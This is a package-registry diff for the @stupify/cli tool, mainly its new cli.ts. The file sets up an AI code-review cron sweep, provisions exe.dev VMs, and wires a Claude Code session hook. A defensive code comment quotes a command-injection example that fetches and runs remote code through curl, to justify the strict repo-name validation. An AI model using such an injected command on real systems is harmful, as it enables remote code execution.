@stupify/cli 0.0.16 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (89) hide show
  1. package/.review/CORPUS.md +44 -0
  2. package/.review/CORPUS.template.md +73 -0
  3. package/.review/REVIEW-PROMPT.md +52 -0
  4. package/.review/RUBRIC.md +46 -0
  5. package/LICENSE +1 -1
  6. package/README.md +95 -37
  7. package/package.json +27 -26
  8. package/packs/antirez.md +10 -0
  9. package/packs/anton-kropp.md +10 -0
  10. package/packs/dhh.md +10 -0
  11. package/packs/dtolnay.md +10 -0
  12. package/packs/jarred-sumner.md +9 -0
  13. package/packs/mitchell-hashimoto.md +10 -0
  14. package/packs/rich-harris.md +10 -0
  15. package/packs/simon-willison.md +10 -0
  16. package/packs/sindre-sorhus.md +10 -0
  17. package/packs/tanner-linsley.md +10 -0
  18. package/packs/zod.md +10 -0
  19. package/src/cli.ts +626 -0
  20. package/src/prime-install.test.ts +109 -0
  21. package/src/prime.ts +50 -0
  22. package/src/review-sweep.test.ts +101 -0
  23. package/src/review-sweep.ts +526 -0
  24. package/dist/analysis.d.ts +0 -16
  25. package/dist/analysis.js +0 -168
  26. package/dist/cache.d.ts +0 -2
  27. package/dist/cache.js +0 -57
  28. package/dist/checks.d.ts +0 -4
  29. package/dist/checks.js +0 -228
  30. package/dist/command.d.ts +0 -2
  31. package/dist/command.js +0 -147
  32. package/dist/constants.d.ts +0 -4
  33. package/dist/constants.js +0 -53
  34. package/dist/counter-scout.d.ts +0 -21
  35. package/dist/counter-scout.js +0 -167
  36. package/dist/diff.d.ts +0 -1
  37. package/dist/diff.js +0 -10
  38. package/dist/doctor.d.ts +0 -16
  39. package/dist/doctor.js +0 -143
  40. package/dist/git.d.ts +0 -17
  41. package/dist/git.js +0 -368
  42. package/dist/hooks.d.ts +0 -5
  43. package/dist/hooks.js +0 -135
  44. package/dist/index.d.ts +0 -1
  45. package/dist/index.js +0 -1
  46. package/dist/model.d.ts +0 -11
  47. package/dist/model.js +0 -296
  48. package/dist/prompts.d.ts +0 -8
  49. package/dist/prompts.js +0 -89
  50. package/dist/render.d.ts +0 -6
  51. package/dist/render.js +0 -295
  52. package/dist/repomix-provider.d.ts +0 -12
  53. package/dist/repomix-provider.js +0 -196
  54. package/dist/search-bench.d.ts +0 -1
  55. package/dist/search-bench.js +0 -677
  56. package/dist/search-profile.d.ts +0 -6
  57. package/dist/search-profile.js +0 -73
  58. package/dist/sem-provider.d.ts +0 -2
  59. package/dist/sem-provider.js +0 -255
  60. package/dist/stupify.d.ts +0 -38
  61. package/dist/stupify.js +0 -505
  62. package/dist/trace.d.ts +0 -31
  63. package/dist/trace.js +0 -86
  64. package/dist/types.d.ts +0 -341
  65. package/dist/types.js +0 -6
  66. package/dist/ui.d.ts +0 -34
  67. package/dist/ui.js +0 -143
  68. package/src/analysis.ts +0 -223
  69. package/src/cache.ts +0 -63
  70. package/src/checks.ts +0 -231
  71. package/src/command.ts +0 -173
  72. package/src/constants.ts +0 -56
  73. package/src/counter-scout.ts +0 -195
  74. package/src/diff.ts +0 -9
  75. package/src/doctor.ts +0 -166
  76. package/src/git.ts +0 -380
  77. package/src/hooks.ts +0 -151
  78. package/src/index.ts +0 -1
  79. package/src/model.ts +0 -367
  80. package/src/prompts.ts +0 -100
  81. package/src/render.ts +0 -328
  82. package/src/repomix-provider.ts +0 -219
  83. package/src/search-bench.ts +0 -783
  84. package/src/search-profile.ts +0 -89
  85. package/src/sem-provider.ts +0 -300
  86. package/src/stupify.ts +0 -604
  87. package/src/trace.ts +0 -126
  88. package/src/types.ts +0 -362
  89. package/src/ui.ts +0 -187
package/src/cli.ts ADDED
@@ -0,0 +1,626 @@
1
+ #!/usr/bin/env bun
2
+ /**
3
+ * stupify — a code reviewer that talks like an idiot and catches real bugs.
4
+ *
5
+ * `stupify` (no args) → the interactive setup wizard: checks your tools, finds your repo, asks for your
6
+ * exe.dev integration, and installs the cron sweep. On exe.dev there are no creds to
7
+ * manage (Codex → exe-llm gateway, gh → your GitHub integration).
8
+ * `stupify run [--dry]` → run one review sweep right now.
9
+ */
10
+ import { spawnSync } from 'node:child_process'
11
+ import { copyFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
12
+ import { homedir } from 'node:os'
13
+ import { dirname, join } from 'node:path'
14
+ import { fileURLToPath } from 'node:url'
15
+ import { cancel, confirm, intro, isCancel, log, multiselect, note, outro, spinner, text } from '@clack/prompts'
16
+ import pc from 'picocolors'
17
+ import { emitPrime } from './prime'
18
+
19
+ const PKG_DIR = dirname(fileURLToPath(import.meta.url))
20
+ const PKG_ROOT = join(PKG_DIR, '..') // the published package root: holds .review/ and packs/
21
+ const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
22
+ const STATE = join(HOME, 'state')
23
+ const REQUIRED = ['bun', 'gh', 'codex', 'git'] as const
24
+
25
+ // Taste packs: "code like X". Picking one (or several) seeds the corpus, so you don't start from a blank file.
26
+ interface Pack {
27
+ id: string
28
+ label: string
29
+ kind: 'taste' | 'perf'
30
+ }
31
+ const PACKS: Pack[] = [
32
+ { id: 'anton-kropp', label: 'Anton Kropp (devshorts) — DI + branded types', kind: 'taste' },
33
+ { id: 'zod', label: 'Colin McDonnell / Zod — parse, don’t validate', kind: 'taste' },
34
+ { id: 'sindre-sorhus', label: 'Sindre Sorhus — one file, one job', kind: 'taste' },
35
+ { id: 'rich-harris', label: 'Rich Harris / Svelte — compiler-grade precision', kind: 'taste' },
36
+ { id: 'tanner-linsley', label: 'Tanner Linsley / TanStack — types forbid bad states', kind: 'taste' },
37
+ { id: 'mitchell-hashimoto', label: 'Mitchell Hashimoto / Ghostty — documented tradeoffs', kind: 'taste' },
38
+ { id: 'simon-willison', label: 'Simon Willison — one concept per file', kind: 'taste' },
39
+ { id: 'dtolnay', label: 'David Tolnay — the API that disappears (Rust)', kind: 'taste' },
40
+ { id: 'antirez', label: 'antirez / Redis — comments that earn their keep (C)', kind: 'taste' },
41
+ { id: 'dhh', label: 'DHH / Rails — controllers that tell the story (Ruby)', kind: 'taste' },
42
+ { id: 'jarred-sumner', label: 'Jarred Sumner / Bun — perf as correctness', kind: 'perf' },
43
+ ]
44
+
45
+ function bail<T>(value: T | symbol): asserts value is T {
46
+ if (isCancel(value)) {
47
+ cancel('aborted.')
48
+ process.exit(0)
49
+ }
50
+ }
51
+
52
+ function die(message: string): never {
53
+ log.error(message)
54
+ process.exit(1)
55
+ }
56
+
57
+ function which(bin: string): string | null {
58
+ return Bun.which(bin)
59
+ }
60
+
61
+ // A bun path the cron can rely on. Under `bunx`, the running bun lives in an EPHEMERAL /tmp/bun-node-… dir
62
+ // that's deleted after install — so never bake that into the crontab. Prefer a stable install location.
63
+ function stableBun(): string {
64
+ const running = which('bun')
65
+ if (running && !running.includes('/bun-node-') && !running.startsWith('/tmp/')) return running
66
+ for (const c of [join(homedir(), '.bun/bin/bun'), '/usr/local/bin/bun', '/usr/bin/bun']) {
67
+ if (existsSync(c)) return c
68
+ }
69
+ return running ?? 'bun'
70
+ }
71
+
72
+ function detectRepo(): string | null {
73
+ const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], { encoding: 'utf8' })
74
+ if (r.status !== 0) return null
75
+ const slug = (r.stdout ?? '')
76
+ .trim()
77
+ .replace(/^[a-z]+:\/\/[^/]+\//, '')
78
+ .replace(/^git@[^:]+:/, '')
79
+ .replace(/\.git$/, '')
80
+ return validRepo(slug) ? slug : null
81
+ }
82
+
83
+ // Strict owner/repo — GitHub names are word chars / dot / hyphen only. This is also a security boundary:
84
+ // `repo` is interpolated into a shell setup-script that runs on the VM, so anything looser than this would
85
+ // let `a/b; curl evil | sh` through.
86
+ function validRepo(r: string): boolean {
87
+ return /^[\w.-]+\/[\w.-]+$/.test(r)
88
+ }
89
+
90
+ function installCron(opts: { ghHost: string }): string {
91
+ const bun = stableBun()
92
+ const prefix = opts.ghHost ? `GH_HOST=${opts.ghHost} ` : ''
93
+ // No flock — the sweep self-locks (state/sweep.lock), so overlapping cron ticks no-op on their own.
94
+ const line = `*/1 * * * * ${prefix}${bun} ${join(HOME, 'review-sweep.ts')} >> ${STATE}/cron.log 2>&1`
95
+ const current = spawnSync('crontab', ['-l'], { encoding: 'utf8' }).stdout ?? ''
96
+ const kept = current
97
+ .split('\n')
98
+ .filter((l) => l.trim() && !l.includes('review-sweep.ts'))
99
+ const next = [...kept, line].join('\n') + '\n'
100
+ const wrote = spawnSync('crontab', ['-'], { input: next })
101
+ if (wrote.status !== 0) throw new Error('could not write crontab')
102
+ return line
103
+ }
104
+
105
+ // The short human label for a set of picked packs, e.g. "Sindre Sorhus + Anton Kropp" — for plan/success notes.
106
+ const tasteLabel = (packs: string[]): string =>
107
+ PACKS.filter((p) => packs.includes(p.id)).map((p) => p.label.split(' — ')[0]).join(' + ')
108
+
109
+ // Returns the chosen pack ids. `--pack a,b` (or 'own'/'' = your own codebase) skips the prompt; with --yes and
110
+ // no flag it defaults to the devshorts pack so a fresh repo reviews immediately.
111
+ async function pickPacks(opts: { yes: boolean; packArg?: string }): Promise<string[]> {
112
+ if (opts.packArg !== undefined) {
113
+ return opts.packArg.split(',').map((s) => s.trim()).filter((id) => id && id !== 'own' && PACKS.some((p) => p.id === id))
114
+ }
115
+ if (opts.yes) return ['anton-kropp']
116
+ if (!process.stdin.isTTY) return [] // non-interactive (CI, scripts, the install hook): never block on a picker
117
+ const choice = await multiselect({
118
+ message: 'Whose code should yours look like? (pick any — or your own)',
119
+ options: [
120
+ ...PACKS.map((p) => ({ value: p.id, label: p.label, ...(p.kind === 'perf' ? { hint: 'perf' } : {}) })),
121
+ { value: 'own', label: '🧠 my own codebase', hint: 'point CORPUS.md at your files yourself' },
122
+ ],
123
+ required: false,
124
+ })
125
+ bail(choice)
126
+ return choice.filter((v) => v !== 'own')
127
+ }
128
+
129
+ // Build ~/.stupify/.review from the bundled rubric/prompt + the chosen packs' corpus. The engine uses this when
130
+ // the target repo has no .review/ of its own — so taste packs work with zero files in your repo.
131
+ function assembleReview(packs: string[]): void {
132
+ const out = join(HOME, '.review')
133
+ mkdirSync(out, { recursive: true })
134
+ copyFileSync(join(PKG_ROOT, '.review', 'RUBRIC.md'), join(out, 'RUBRIC.md'))
135
+ copyFileSync(join(PKG_ROOT, '.review', 'REVIEW-PROMPT.md'), join(out, 'REVIEW-PROMPT.md'))
136
+ if (packs.length === 0) {
137
+ copyFileSync(join(PKG_ROOT, '.review', 'CORPUS.template.md'), join(out, 'CORPUS.md')) // the bring-your-own template
138
+ return
139
+ }
140
+ const header = `# Good-code reference — taste packs\n\nJudge every diff against the standards below. When you flag slop, name the principle (or the linked file) the change should have followed. The links are commit-pinned exemplars — open them when you need detail.\n\n---\n\n`
141
+ const body = packs.map((id) => readFileSync(join(PKG_ROOT, 'packs', `${id}.md`), 'utf8').trim()).join('\n\n---\n\n')
142
+ writeFileSync(join(out, 'CORPUS.md'), `${header}${body}\n`)
143
+ }
144
+
145
+ // `stupify taste [--pack a,b]` — assemble your GLOBAL taste at ~/.stupify/.review from packs, and nothing else.
146
+ // This is the shared core both the reviewer and `stupify prime` read when a repo has no .review/ of its own —
147
+ // so you can set taste once without installing the cron reviewer.
148
+ async function taste(argv: { pack?: string }): Promise<void> {
149
+ console.clear()
150
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — pick the code yours should look like'))
151
+ const packs = await pickPacks({ yes: false, packArg: argv.pack })
152
+ if (packs.length === 0) {
153
+ note(
154
+ [
155
+ `no packs picked. taste packs seed a global corpus at ${pc.cyan(join(HOME, '.review'))}.`,
156
+ `for YOUR-OWN-codebase taste, add a ${pc.cyan('.review/')} to a repo instead ${pc.dim('(a repo .review/ always wins)')}.`,
157
+ ].join('\n'),
158
+ 'nothing to assemble',
159
+ )
160
+ outro(pc.dim('run again and pick at least one pack.'))
161
+ return
162
+ }
163
+ assembleReview(packs)
164
+ const tasteLine = tasteLabel(packs)
165
+ note(
166
+ [
167
+ `assembled ${pc.cyan(join(HOME, '.review'))} against ${pc.bold(tasteLine)}.`,
168
+ `your global taste — read by the reviewer AND ${pc.cyan('stupify prime')} in any repo without its own .review/.`,
169
+ ``,
170
+ `${pc.bold('next:')} ${pc.cyan('stupify prime --install')} ${pc.dim('— prime Claude Code with it every session')}`,
171
+ ].join('\n'),
172
+ 'taste ready',
173
+ )
174
+ outro(pc.green('your taste is set 🎯'))
175
+ }
176
+
177
+ async function setup(argv: { repo?: string; host?: string; yes: boolean; pack?: string }): Promise<void> {
178
+ console.clear()
179
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — sounds dumb, reviews sharp'))
180
+
181
+ // 1. tools
182
+ const s = spinner()
183
+ s.start('checking your tools')
184
+ const missing = REQUIRED.filter((b) => !which(b))
185
+ if (missing.length) {
186
+ s.stop(pc.red(`missing: ${missing.join(', ')}`))
187
+ note(
188
+ `install them first:\n bun → ${pc.cyan('bun.sh')}\n gh → ${pc.cyan('cli.github.com')}\n codex → ${pc.cyan('github.com/openai/codex')}`,
189
+ 'missing tools',
190
+ )
191
+ process.exit(1)
192
+ }
193
+ s.stop(pc.green('bun, gh, codex, git') + pc.dim(' — all here'))
194
+
195
+ // 2. repo (auto-detect, else ask)
196
+ let repo = argv.repo ?? ''
197
+ if (!repo) {
198
+ const detected = detectRepo()
199
+ if (detected) {
200
+ if (argv.yes) {
201
+ repo = detected
202
+ log.success(`repo ${pc.bold(detected)} ${pc.dim('(from this checkout)')}`)
203
+ } else {
204
+ const keep = await confirm({ message: `Review ${pc.bold(detected)}? ${pc.dim('(detected from git remote)')}` })
205
+ bail(keep)
206
+ if (keep) repo = detected
207
+ }
208
+ }
209
+ }
210
+ if (!repo) {
211
+ const answer = await text({
212
+ message: 'GitHub repo to review',
213
+ placeholder: 'owner/repo',
214
+ validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
215
+ })
216
+ bail(answer)
217
+ repo = answer.trim()
218
+ }
219
+ if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
220
+
221
+ // 3. integration host (exe.dev) — can't be detected
222
+ let host = argv.host ?? process.env.GH_HOST ?? ''
223
+ if (!host && !argv.yes) {
224
+ const answer = await text({
225
+ message: 'exe.dev integration host',
226
+ placeholder: 'your-integration.int.exe.xyz',
227
+ defaultValue: '',
228
+ })
229
+ bail(answer)
230
+ host = answer.trim()
231
+ }
232
+
233
+ // 3.5 taste — pick a pack (or your own code)
234
+ const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
235
+ const tasteLine = packs.length
236
+ ? tasteLabel(packs)
237
+ : 'your own codebase'
238
+
239
+ // 4. plan + confirm
240
+ note(
241
+ [
242
+ `${pc.dim('repo ')} ${pc.bold(repo)}`,
243
+ `${pc.dim('taste ')} ${pc.bold(tasteLine)}`,
244
+ host
245
+ ? `${pc.dim('auth ')} exe.dev integration ${pc.bold(host)} ${pc.dim('— exe-llm gateway, no keys')}`
246
+ : `${pc.dim('auth ')} your own gh + codex ${pc.dim('(run `gh auth login` first)')}`,
247
+ `${pc.dim('cadence')} every ~60s via cron`,
248
+ `${pc.dim('home ')} ${HOME}`,
249
+ ].join('\n'),
250
+ 'plan',
251
+ )
252
+ if (!argv.yes) {
253
+ const go = await confirm({ message: 'Set it up?' })
254
+ bail(go)
255
+ if (!go) {
256
+ cancel('aborted.')
257
+ process.exit(0)
258
+ }
259
+ }
260
+
261
+ // 5. install
262
+ const s2 = spinner()
263
+ s2.start('installing')
264
+ mkdirSync(STATE, { recursive: true })
265
+ copyFileSync(join(PKG_DIR, 'review-sweep.ts'), join(HOME, 'review-sweep.ts'))
266
+ assembleReview(packs)
267
+ const cfg = [`REPO_SLUG=${repo}`, host ? `GH_HOST=${host}` : '', '# tune anything else here — see the README']
268
+ .filter(Boolean)
269
+ .join('\n')
270
+ writeFileSync(join(HOME, 'config.env'), cfg + '\n')
271
+ installCron({ ghHost: host })
272
+ s2.stop(pc.green('installed') + pc.dim(` → ${HOME}`))
273
+
274
+ // 6. success
275
+ const preview = `${pc.dim('preview anytime:')} ${pc.cyan(`DRY_RUN=1 bun ${join(HOME, 'review-sweep.ts')}`)}`
276
+ if (packs.length) {
277
+ note(
278
+ [
279
+ `reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
280
+ `open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
281
+ ``,
282
+ `want your OWN taste instead? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
283
+ preview,
284
+ ].join('\n'),
285
+ "you're set",
286
+ )
287
+ } else {
288
+ note(
289
+ [
290
+ `${pc.bold('1.')} add a ${pc.cyan('.review/')} to ${pc.bold(repo)} and point ${pc.cyan('CORPUS.md')} at YOUR best files`,
291
+ `${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
292
+ ``,
293
+ preview,
294
+ ].join('\n'),
295
+ 'two steps to your first review',
296
+ )
297
+ }
298
+ outro(pc.green('stupify is watching ') + pc.bold(repo) + pc.green(' 👀'))
299
+ }
300
+
301
+ // --- prime: wire `stupify prime` into Claude Code as a SessionStart hook (self-contained, install ⇄ uninstall) ---
302
+ // The hook EMITTER lives in the dependency-free ./prime module (also copied to ~/.stupify/prime.ts on install,
303
+ // so the hook runs with no global install / node_modules). Everything below only manages the wiring.
304
+
305
+ const PRIME_ENGINE = join(HOME, 'prime.ts') // the dep-free copy the hook actually runs; also our marker in settings.json
306
+
307
+ /** Claude Code's user settings file. CLAUDE_CONFIG_DIR overrides ~/.claude (and makes this testable). */
308
+ const claudeSettingsPath = (): string => join(process.env.CLAUDE_CONFIG_DIR ?? join(homedir(), '.claude'), 'settings.json')
309
+
310
+ /** Read settings.json (or {} if absent). Throws on malformed JSON so callers refuse to clobber a broken file. */
311
+ function readSettings(path: string): Record<string, unknown> {
312
+ if (!existsSync(path)) return {}
313
+ return JSON.parse(readFileSync(path, 'utf8')) as Record<string, unknown>
314
+ }
315
+
316
+ type HookEntry = { matcher?: string; hooks?: { type?: string; command?: string }[] }
317
+ const isOurHook = (e: HookEntry): boolean => (e.hooks ?? []).some((h) => (h.command ?? '').includes(PRIME_ENGINE))
318
+
319
+ async function installPrimeHook(argv: { pack?: string }): Promise<void> {
320
+ console.clear()
321
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — prime Claude Code with your taste'))
322
+
323
+ // 0. ensure GLOBAL taste exists for the hook to inject. The hook runs in EVERY repo; a repo's own .review/
324
+ // wins, but ~/.stupify/.review is the fallback, so without it the hook would no-op everywhere. Assemble it
325
+ // here (explicit --pack always (re)assembles; otherwise pick only when none exists) so install just works.
326
+ const haveHomeTaste = existsSync(join(HOME, '.review', 'RUBRIC.md')) && existsSync(join(HOME, '.review', 'CORPUS.md'))
327
+ if (argv.pack !== undefined || !haveHomeTaste) {
328
+ const packs = await pickPacks({ yes: false, packArg: argv.pack })
329
+ if (packs.length > 0) {
330
+ assembleReview(packs)
331
+ const tasteLine = tasteLabel(packs)
332
+ log.success(`global taste assembled → ${pc.cyan(join(HOME, '.review'))} ${pc.dim(`(${tasteLine})`)}`)
333
+ } else if (!haveHomeTaste) {
334
+ log.warn(`no global taste yet — the hook will no-op until a repo has its own ${pc.cyan('.review/')} or you run ${pc.cyan('stupify taste')}`)
335
+ }
336
+ }
337
+
338
+ // 1. drop the dep-free emitter where the hook can run it fast, no global install needed
339
+ mkdirSync(HOME, { recursive: true })
340
+ copyFileSync(join(PKG_DIR, 'prime.ts'), PRIME_ENGINE)
341
+ const command = `${stableBun()} ${PRIME_ENGINE}`
342
+
343
+ // 2. merge our SessionStart hook into settings.json — never clobber existing hooks/settings, never duplicate
344
+ const path = claudeSettingsPath()
345
+ let settings: Record<string, unknown>
346
+ try {
347
+ settings = readSettings(path)
348
+ } catch {
349
+ die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
350
+ }
351
+ const hooks = (settings.hooks ??= {}) as Record<string, HookEntry[]>
352
+ const sessionStart = (hooks.SessionStart ??= [])
353
+ const existing = sessionStart.find(isOurHook)
354
+ // Refresh the command on re-install too — `command` carries the resolved bun path, which can move (a new bun
355
+ // install, a Homebrew relocation). Updating only the engine file but leaving a stale path would silently break.
356
+ if (existing) existing.hooks = [{ type: 'command', command }]
357
+ else sessionStart.push({ matcher: 'startup', hooks: [{ type: 'command', command }] })
358
+ const already = existing !== undefined
359
+ mkdirSync(dirname(path), { recursive: true })
360
+ writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
361
+
362
+ note(
363
+ [
364
+ already
365
+ ? `already wired in ${pc.cyan(path)} ${pc.dim('(refreshed engine + command)')}`
366
+ : `added a ${pc.bold('SessionStart')} hook to ${pc.cyan(path)}`,
367
+ `every new Claude Code session now opens primed with your taste ${pc.dim('(~30ms, no-op if a repo has none)')}.`,
368
+ ``,
369
+ `${pc.dim('undo:')} ${pc.cyan('stupify prime --uninstall')}`,
370
+ ].join('\n'),
371
+ "you're primed",
372
+ )
373
+ outro(pc.green('Claude Code will write to your taste from the first line 🧠'))
374
+ }
375
+
376
+ function uninstallPrimeHook(): void {
377
+ console.clear()
378
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — remove the Claude Code prime hook'))
379
+ const path = claudeSettingsPath()
380
+ let removed = false
381
+ if (existsSync(path)) {
382
+ let settings: Record<string, unknown>
383
+ try {
384
+ settings = readSettings(path)
385
+ } catch {
386
+ die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
387
+ }
388
+ const hooks = settings.hooks as Record<string, HookEntry[]> | undefined
389
+ if (hooks?.SessionStart) {
390
+ const kept = hooks.SessionStart.filter((e) => !isOurHook(e))
391
+ removed = kept.length !== hooks.SessionStart.length
392
+ if (kept.length > 0) hooks.SessionStart = kept
393
+ else delete hooks.SessionStart
394
+ if (Object.keys(hooks).length === 0) delete settings.hooks
395
+ writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
396
+ }
397
+ }
398
+ rmSync(PRIME_ENGINE, { force: true }) // drop the copied engine too
399
+
400
+ note(
401
+ removed
402
+ ? `removed the SessionStart hook from ${pc.cyan(path)}. your other hooks + settings are untouched.`
403
+ : `no stupify prime hook found ${pc.dim('(nothing to remove)')}.`,
404
+ 'done',
405
+ )
406
+ outro(pc.green('unprimed.'))
407
+ }
408
+
409
+ function run(dry: boolean): void {
410
+ const sweep = join(HOME, 'review-sweep.ts')
411
+ if (!Bun.file(sweep).size) {
412
+ log.error(`not set up yet — run ${pc.cyan('stupify')} first`)
413
+ process.exit(1)
414
+ }
415
+ const env = { ...process.env, ...(dry ? { DRY_RUN: '1' } : {}) }
416
+ const r = spawnSync('bun', [sweep], { stdio: 'inherit', env })
417
+ process.exit(r.status ?? 1)
418
+ }
419
+
420
+ // --- provision: spin up an exe.dev VM that runs stupify, from your laptop ---
421
+
422
+ function exe(args: string[], input = ''): { ok: boolean; out: string } {
423
+ const r = spawnSync('ssh', ['-o', 'ConnectTimeout=25', 'exe.dev', ...args], {
424
+ input,
425
+ encoding: 'utf8',
426
+ maxBuffer: 8 * 1024 * 1024,
427
+ })
428
+ return { ok: r.status === 0, out: (r.stdout ?? '') + (r.stderr ?? '') }
429
+ }
430
+
431
+ function githubIntegrationFor(repo: string): string | null {
432
+ const r = exe(['int', 'list', '--json'])
433
+ if (!r.ok) return null
434
+ try {
435
+ const list: { name: string; type: string; config?: { repositories?: string[] } }[] = JSON.parse(r.out)
436
+ return list.find((i) => i.type === 'github' && (i.config?.repositories ?? []).includes(repo))?.name ?? null
437
+ } catch {
438
+ return null
439
+ }
440
+ }
441
+
442
+ const vmNameFor = (repo: string): string => 'stupify-' + repo.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '')
443
+
444
+ async function provision(argv: { repo?: string; yes: boolean; pack?: string }): Promise<void> {
445
+ console.clear()
446
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — provision a reviewer on exe.dev'))
447
+
448
+ // 1. onboarded to exe.dev?
449
+ const s = spinner()
450
+ s.start('checking exe.dev')
451
+ const who = exe(['whoami'])
452
+ if (!who.ok) {
453
+ s.stop(pc.red('not connected to exe.dev'))
454
+ note(`onboarding is one step — run this once, then re-run stupify:\n\n ${pc.cyan('ssh exe.dev')}`, 'connect exe.dev')
455
+ process.exit(1)
456
+ }
457
+ s.stop(pc.green('exe.dev ready') + pc.dim(` — ${(who.out.match(/[\w.+-]+@[\w.-]+/) ?? [''])[0]}`))
458
+
459
+ // 2. repo (auto-detect, else ask)
460
+ let repo = argv.repo ?? ''
461
+ if (!repo) {
462
+ const detected = detectRepo()
463
+ if (detected) {
464
+ if (argv.yes) repo = detected
465
+ else {
466
+ const keep = await confirm({ message: `Review ${pc.bold(detected)}? ${pc.dim('(detected from git remote)')}` })
467
+ bail(keep)
468
+ if (keep) repo = detected
469
+ }
470
+ }
471
+ }
472
+ if (!repo) {
473
+ const answer = await text({
474
+ message: 'GitHub repo to review',
475
+ placeholder: 'owner/repo',
476
+ validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
477
+ })
478
+ bail(answer)
479
+ repo = answer.trim()
480
+ }
481
+ if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
482
+
483
+ // 2.5 taste — pick a pack (or your own code); the VM installs it on first boot
484
+ const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
485
+
486
+ // 3. GitHub integration — reuse an existing one, else create it (needs your GitHub linked once, on the web)
487
+ const s2 = spinner()
488
+ s2.start('finding your GitHub integration')
489
+ let integration = githubIntegrationFor(repo)
490
+ if (integration) {
491
+ s2.stop(pc.green(`using integration ${pc.bold(integration)}`))
492
+ } else {
493
+ const name = vmNameFor(repo)
494
+ const add = exe(['integrations', 'add', 'github', '--name', name, '--repository', repo])
495
+ if (add.ok) {
496
+ integration = name
497
+ s2.stop(pc.green(`created integration ${pc.bold(name)}`))
498
+ } else {
499
+ s2.stop(pc.red(`no GitHub integration for ${repo}`))
500
+ note(`link your GitHub account once (web), then re-run stupify:\n\n ${pc.cyan('https://exe.dev/integrations')}\n\n${pc.dim(add.out.trim().slice(0, 200))}`, 'connect GitHub')
501
+ process.exit(1)
502
+ }
503
+ }
504
+ const host = `${integration}.int.exe.xyz`
505
+ const tasteLine = packs.length
506
+ ? tasteLabel(packs)
507
+ : 'your own codebase'
508
+
509
+ // 4. plan + confirm
510
+ note(
511
+ [
512
+ `${pc.dim('repo ')} ${pc.bold(repo)}`,
513
+ `${pc.dim('taste')} ${pc.bold(tasteLine)}`,
514
+ `${pc.dim('vm ')} a small always-on exe.dev VM on your account`,
515
+ `${pc.dim('auth ')} integration ${pc.bold(integration)} ${pc.dim('— no keys, no tokens')}`,
516
+ ].join('\n'),
517
+ 'plan',
518
+ )
519
+ if (!argv.yes) {
520
+ const go = await confirm({ message: 'Provision it?' })
521
+ bail(go)
522
+ if (!go) {
523
+ cancel('aborted.')
524
+ process.exit(0)
525
+ }
526
+ }
527
+
528
+ // 5. create the VM with a first-boot setup-script that installs stupify
529
+ const s3 = spinner()
530
+ s3.start('provisioning VM + installing stupify')
531
+ const vm = vmNameFor(repo)
532
+ const script = [
533
+ 'export PATH="$HOME/.bun/bin:/usr/local/bin:$PATH"',
534
+ 'command -v bun >/dev/null 2>&1 || curl -fsSL https://bun.sh/install | bash',
535
+ 'export PATH="$HOME/.bun/bin:$PATH"',
536
+ `exec bunx github:Octember/stupify setup ${repo} --host ${host} --pack ${packs.join(',') || 'own'} --yes`,
537
+ ].join('\n')
538
+ const created = exe(['new', '--name', vm, '--integration', integration, '--json', '--setup-script', '/dev/stdin'], script)
539
+ if (!created.ok) {
540
+ s3.stop(pc.red('provision failed'))
541
+ log.error(created.out.trim().slice(0, 400))
542
+ process.exit(1)
543
+ }
544
+ let dest = `${vm}.exe.xyz`
545
+ try {
546
+ dest = (JSON.parse(created.out) as { ssh_dest?: string }).ssh_dest ?? dest
547
+ } catch {
548
+ /* keep the derived dest */
549
+ }
550
+ s3.stop(pc.green(`VM ${pc.bold(vm)} created`) + pc.dim(` (${dest})`))
551
+
552
+ // 6. success
553
+ const firstReview = packs.length
554
+ ? [
555
+ `reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
556
+ `open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
557
+ ``,
558
+ `want your OWN taste? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
559
+ ]
560
+ : [
561
+ `${pc.bold('1.')} add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)} — copy this repo's .review/, point CORPUS.md at YOUR best files`,
562
+ `${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
563
+ ]
564
+ note(
565
+ [
566
+ `${pc.bold(vm)} is booting and installing stupify ${pc.dim('(~15s)')}.`,
567
+ ``,
568
+ ...firstReview,
569
+ ``,
570
+ `${pc.dim('watch:')} ${pc.cyan(`ssh ${dest} 'tail -f ~/.stupify/state/sweep.log'`)}`,
571
+ `${pc.dim('stop: ')} ${pc.cyan(`ssh exe.dev rm ${vm}`)}`,
572
+ ].join('\n'),
573
+ 'done',
574
+ )
575
+ outro(pc.green('stupify is provisioned for ') + pc.bold(repo) + pc.green(' 👀'))
576
+ }
577
+
578
+ function help(): void {
579
+ console.log(`${pc.bold('stupify')} — a code reviewer that talks like an idiot and catches real bugs
580
+
581
